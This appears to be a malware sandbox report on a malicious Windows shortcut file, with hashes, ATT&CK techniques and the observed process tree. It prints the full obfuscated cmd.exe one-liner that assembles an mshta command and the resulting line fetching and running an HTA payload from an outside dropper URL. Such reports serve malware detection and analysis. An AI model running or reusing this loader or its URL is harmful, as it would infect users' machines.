55d3d04f8e73302b53b87018a519b4addd499f641c349b627896c3bf62f88f1c

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:29

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General

Target
DOC-G3F4QA.lnk
Size 2KB
Sample260804-kd18aavgpb
SHA256 55d3d04f8e73302b53b87018a519b4addd499f641c349b627896c3bf62f88f1c
MD5 130e03036023989e5ca495fcf0e74810
SHA1 34e30ef54e0247d6aea9a1b22be504ba029b0850
SHA512 9a738caacdd4e183f8c37ca720415e545bd9e792745fa636852c29f90a9c3473fa563c873325618f5e63ea1f741acfda4c9bae83e8618f271ef9ceb993284d90
TLSH
T1404137802AEA00ECF3FB8E72ADBE275549BBF8556D30C18D4450820C1826B05E8B7B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4168	cmd.exe
4956	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4168 wrote to memory of 4956	4168	cmd.exe	87
PID 4956 wrote to memory of 5052	4956	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-G3F4QA.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4168
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set PmsT=logtmstxgnqglog&set rvtCD=netxncqgkdhwpmgpdvaccnet&set gb=fams9&&set VkVdf=jhs&&set fV=etaoql&set OKhc=olddzbushypyold&set SMJE=cfgoalbdycucfg&set KJrc=cfgrhizcfg&set OwjWh=cs1&&set Zy=zqtartl&set kqbg=netvgpvfktgkfnet&set jmQB=inffllcinf&set xk=netdtvsjgjjevtonmnet&set xI=olduvacffhywsrcmatpold&&set iDGbx=htt@ps:/@/@m@a-pdffil@l@er.@l@a@t@/h/@esta@gi@[email protected]?@r@=3914@69@FB5@D@8@2D@B&&start /b !gb:~2,2!!VkVdf:~1,1!!fV:~1,2! !iDGbx:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:5052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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